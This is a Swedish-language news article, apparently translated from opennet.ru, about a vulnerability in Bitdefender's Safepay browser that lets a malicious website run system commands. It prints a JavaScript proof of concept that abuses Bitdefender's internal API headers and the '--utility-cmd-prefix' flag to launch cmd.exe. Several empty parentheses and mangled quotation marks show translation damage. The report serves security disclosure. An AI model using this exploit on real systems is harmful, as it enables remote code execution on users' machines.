Vladimir Palant, skaparen av Adblock Plus, () i den Chromium-baserade specialiserade webblÀsaren Safepay, som erbjuds som en del av antiviruspaketet Bitdefender Total Security 2020 och syftar till att öka sÀkerheten för anvÀndarens arbete pÄ det globala nÀtet (till exempel tillhandahÄlls extra isolering vid kontakt med banker och betalningssystem). SÄrbarheten gör det möjligt för webbplatser som öppnas i webblÀsaren att köra godtycklig kod pÄ operativsystemsnivÄ.
Problemet beror pÄ att antivirusprogrammet Bitdefender utför lokal avlyssning av HTTPS-trafik genom att ersÀtta det ursprungliga TLS-certifikatet för webbplatsen. En extra rotcertifikat installeras pÄ klientens system, vilket gör det möjligt att dölja arbetet med det inspektionssystem som anvÀnds. Antivirusprogrammet införlivar sig i den skyddade trafiken och infogar sin egen JavaScript-kod pÄ vissa sidor för att implementera funktionen Safe Search, och om det uppstÄr problem med certifikatet för den skyddade anslutningen ersÀtter det den visade fel sidan med sin egen. Eftersom den nya fel sidan visas i namn av den öppnade servern har andra sidor pÄ denna server full tillgÄng till innehÄllet som Bitdefender infogar.
Vid öppnande av en webbplats som kontrolleras av en angripare kan denna webbplats skicka en XMLHttpRequest och simulera ett svar med problem med HTTPS-certifikatet, vilket leder till att en fel sida, som har ersatts av Bitdefender, visas. Eftersom fel sidan öppnas i kontexten för angriparens domÀn kan han lÀsa innehÄllet pÄ den ersatta sidan med Bitdefenders parametrar. PÄ den ersatta sidan av Bitdefender finns ocksÄ en sessionsnyckel som gör att man via Bitdefenders interna API kan starta en separat session i webblÀsaren Safepay, och vid behov ange godtyckliga kommandoradsflaggor för att utföra vilka systemkommandon som helst med flaggan "--utility-cmd-prefix". Ett exempel pÄ exploiten (param1 och param2 Àr vÀrden som erhÄllits frÄn fel sidan):
var request = new XMLHttpRequest();
request.open("POST", Math.random());
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("BDNDSS_B67EA559F21B487F861FDA8A44F01C50", param1);
request.setRequestHeader("BDNDCA_BBACF84D61A04F9AA66019A14B035478", param2);
request.setRequestHeader("BDNDWB_5056E556833D49C1AF4085CB254FC242", "obk.run");
request.setRequestHeader("BDNDOK_4E961A95B7B44CBCA1907D3D3643370D", location.href);
request.send(«data:text/html,nada âutility-cmd-prefix=\»cmd.exe /k whoami & echo\»»);
Vi pÄminner om att undersökningen som genomfördes 2017 , att 24 av 26 testade antivirusprodukter, som inspekterar HTTPS-trafik genom certifikatmanipulation, sÀnkte den övergripande sÀkerhetsnivÄn för HTTPS-anslutningen.
De aktuella krypteringssatserna erbjöds endast i 11 av 26 produkter. 5 system genomförde ingen certifikatverifiering (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produkterna Kaspersky Internet Security och Total Security var sÄrbara för attacker , medan produkterna AVG, Bitdefender och Bullguard ocksÄ utsattes för attacker och . Produkten Dr.Web Antivirus 11 tillÄter att man gÄr tillbaka till osÀkra exportkrypteringar (attack ).
KĂ€lla: opennet.ru
